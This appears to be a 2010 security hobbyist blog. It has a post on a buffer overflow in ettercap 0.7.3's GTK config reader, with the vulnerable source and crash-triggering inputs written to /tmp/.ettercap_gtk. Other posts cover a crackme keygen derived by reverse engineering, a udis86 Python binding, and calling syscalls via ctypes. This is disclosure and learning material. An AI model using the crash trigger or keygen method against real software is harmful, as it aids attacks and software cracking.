Friday, October 8, 2010

I got an ettercap problem

Ettercap in version 0.7.3 suffer to a funny buffer overflow crash when he is trying to load /tmp/.ettercap_gtk file.

Indeed, after looking at the source in ettercap_ng/src/interfaces/gtk/ec_gtk_conf.c file we have a function named gtkui_conf_read() which never test the return code of sscanf(), a possible buffer overflow can be achieved here.

void gtkui_conf_read(void) {
FILE *fd;
char *path;
char line[50], name[30];
short value;

#ifdef OS_WINDOWS
path = ec_win_get_user_dir();
#else
/* TODO: get the dopped privs home dir instead of "/root" */
/* path = g_get_home_dir(); */
path = g_get_tmp_dir();
#endif

filename = g_build_filename(path, ".ettercap_gtk", NULL);

DEBUG_MSG("gtkui_conf_read: %s", filename);

fd = fopen(filename, "r");
if(!fd)
return;

while(fgets(line, 100, fd)) {
sscanf(line, "%s = %hd", name, &value);

gtkui_conf_set(name, value);
}

fclose(fd);
}

Also this function never insure the .ettercap_gtk file content is ok, so we can trigger it in differents ways.

$ cat >/tmp/.ettercap_gtk
ettercap_super_option_to_crash_because_its_over_thirty_chars = 42
^D
$ ettercap -G

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Dissector "dns" not supported (etter.conf line 70)
*** buffer overflow detected ***: ettercap terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x37)[0x7fe1f4e8e237]
/lib/libc.so.6(+0xfe0f0)[0x7fe1f4e8d0f0]
/lib/libc.so.6(__fgets_chk+0x159)[0x7fe1f4e8d459]
ettercap(gtkui_conf_read+0x97)[0x45f4e7]
ettercap[0x454c2f]
ettercap(ui_init+0x19)[0x42d2f9]
ettercap(main+0x3ca)[0x41ff0a]
/lib/libc.so.6(__libc_start_main+0xfd)[0x7fe1f4dadc4d]
ettercap[0x414509]
======= Memory map: ========
00400000-00475000 r-xp 00000000 08:05 8396 /usr/sbin/ettercap
00674000-00675000 r--p 00074000 08:05 8396 /usr/sbin/ettercap
00675000-00678000 rw-p 00075000 08:05 8396 /usr/sbin/ettercap
00678000-00685000 rw-p 00000000 00:00 0
00a72000-00b18000 rw-p 00000000 00:00 0 [heap]
...

or in a basic way:

$ python -c 'print "A"*500' > /tmp/.ettercap_gtk && ettercap -G
*** buffer overflow detected ***: ettercap terminated

I was found this one on launchpad, reported by Dan Rosenberg.

Tuesday, August 31, 2010

Ekoparty 2010: Desafio ESET Crackme




After revert C code in IDA, we have the following functions sub_4013D and sub_401362


int __usercall sub_40134D(int a1) {
return MessageBoxA(*(HWND *)(a1 + 8), "Buen Trabajo, felicitaciones!! ", "Muy Bien!!", 0x30u);
}

int __usercall sub_401362(int a1) {
MessageBeep(0);
return MessageBoxA(*(HWND *)(a1 + 8), "Intentalo de nuevo ", "Muy mal ", 0x30u);
}


Below, we have the function who computes the algorithm to validate our input, algorithm use 2 internals functions sub_4013C2 and sub_4013D2


void __usercall sub_4013C2(int a1) {
int v1; // ebx@1
int v2; // edi@1

v2 = 0;
v1 = 0;
while ( *(_BYTE *)a1 ) {
LOBYTE(v1) = *(_BYTE *)a1;
v2 += v1;
++a1;
}
}


This function compute the sum of the char one by one.


int __usercall sub_40137E(int a1, int a2, int a3) {
int v3; // esi@1
char v4; // al@2

v3 = a3;
while ( 1 ) {
v4 = *(_BYTE *)v3;
if ( !*(_BYTE *)v3 ) {
sub_4013C2(a3);
return a2 ^ 0x5678;
}
if ( (unsigned __int8)v4 <>= 0x5Au )
sub_4013D2(v4, v3++);
else
++v3;
}
return MessageBoxA(*(HWND *)(a1 + 8), "Intentalo de nuevo ", "Muy mal ", 0x30u);
}


This function insure input in Nombre label is between letter "A" chr(0x41) and "Z" chr(0x5A).


char __usercall sub_4013D2(char a1, int a2) {
char result; // al@1

result = a1 - 32;
*(_BYTE *)a2 = result;
return result;
}


This function substracts - 32 to the character a1, it's a letter capital transformation !

Finally, a keygen can be generated using the following python code:


In [1]: ((ord("s")-32+ord("b")-32+ord("z")-32) ^ 0x5678 ) ^ 0x1234
Out[1]: 17571


* Nombre sbz
* Serie 17571

Also for the Nombre nibbles, we have this Serie:


In [3]: ((ord("n")-32+ord("i")-32+ord("b")-32+ord("b")-32+ord("l")-32+ord("e")-32+ord("s")-32) ^ 0x5678 ) ^ 0x1234
Out[3]: 17843


Thanks ekoparty and ESET for this one.

Big up to my mentor because he pwn it in 2"13 minutes, you know you rocks :)

Saturday, August 21, 2010

udis86 python binding

I've just released an udis86 python binding on pypi named pyudis86.

For now, it just wrap udis86 public API (the functions in libudis86/udis86.c file) but I project to also add some operand stuff and input hook part.

The result is available in an example file here :


import udis86
import sys

def main():
ud_obj = udis86.init()
ud_obj.set_input_file(sys.stdin)
ud_obj.set_mode(udis86.MOD_64)
ud_obj.set_pc(0)
ud_obj.set_syntax(udis86.UD_SYN_INTEL)

while True:
ud_obj.disassemble()
print "%016d %-16s %-24s" % (
ud_obj.insn_off(), ud_obj.insn_hex(), ud_obj.insn_asm()
)

if __name__ == '__main__':
try:
main()
except KeyboardInterrupt, e:
sys.exit(-1)
For the equivalent code in C (from the available udis86.pdf doc) which is :

#include 
#include

int main(void) {
ud_t ud_obj;

ud_init(&ud_obj);
ud_set_input_file(&ud_obj, stdin);
ud_set_mode(&ud_obj, 64);
ud_set_syntax(&ud_obj, UD_SYN_INTEL);

while (ud_disassemble(&ud_obj)) {
printf("\t%s\n", ud_insn_asm(&ud_obj));
}

return 0;

}
The trunk repository is on my github in project pyudis86, more to come :).

Tuesday, August 17, 2010

Perform system call from Python

Here a proof of concept code to performs system call from Python via ctypes. This code show how to use syscall(2) interface to call write(2), getuid(2), and ptrace(2) system call only trace me here:

C statements:

syscall(__NR_write, fd, buffer, len) where __NR_write is equal to 1 on x86_64 architecture and fd is stdout

syscall(__NR_getuid) where __NR_getuid is equal to 102 on x86_64 architecture

syscall(__NR_ptrace, req, pid, addr, data) where __NR_ptrace is equal to 101 on x86_64 architecture

Python statements:

$ cat syscall.py
#!/usr/bin/env python
# proof of concept how to call syscall from python
# with write(2), ptrace(2) and getuid(2) example

from ctypes.util import find_library
from ctypes import *

import platform, sys

if sys.maxint == 0x7fffffffffffffff and platform.architecture()[0][:2] == '64':
target_x64 = True
else:
target_x64 = False

syscalls = {}
syscalls['__NR_write'] = (4, 1)[target_x64]
syscalls['__NR_ptrace'] = (26, 101)[target_x64]
syscalls['__NR_getuid'] = (24, 102)[target_x64]

libc = cdll.LoadLibrary(find_library('c'))

def ctypes_bind(funcname, restype=None, argtypes=[]):
f = getattr(libc, funcname)
f.restype = restype
f.argtypes = argtypes
return f

def write(msg):
syscall = ctypes_bind('syscall', c_int, [c_int, c_int, c_char_p, c_int])
syscall(syscalls['__NR_write'], 1, msg, len(msg))

def getuid():
syscall = ctypes_bind('syscall', c_int, [])
syscall(syscalls['__NR_getuid'])

(
PTRACE_TRACEME,
PTRACE_PEEKEXT,
PTRACE_PEEKDATA,
PTRACE_USR,
PTRACE_POKEEXT,
PTRACE_POKEDATA,
PTRACE_POKEUSR,
PTRACE_CONT,
PTRACE_KILL,
PTRACE_SINGLESTEP
) = range(0, 10)
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_SYSCALL = 24

def ptrace(req, pid, addr, data):
syscall = ctypes_bind('syscall', c_long, [c_int, c_int, c_void_p, c_void_p])
syscall(syscalls['__NR_ptrace'], req, pid, addr, data)

def traceme():
ptrace(PTRACE_TRACEME, 0, 0, 0)

if __name__ == '__main__':
write("sbz write syscall lulz for the fnu\n")
print getuid()

On runtime in ipython:

In [1]: from syscall import *

In [2]: write("lulz\n")
lulz
In [3]: getuid()
1010

Like this, we can emulate the syscall function of ruby Kernel module.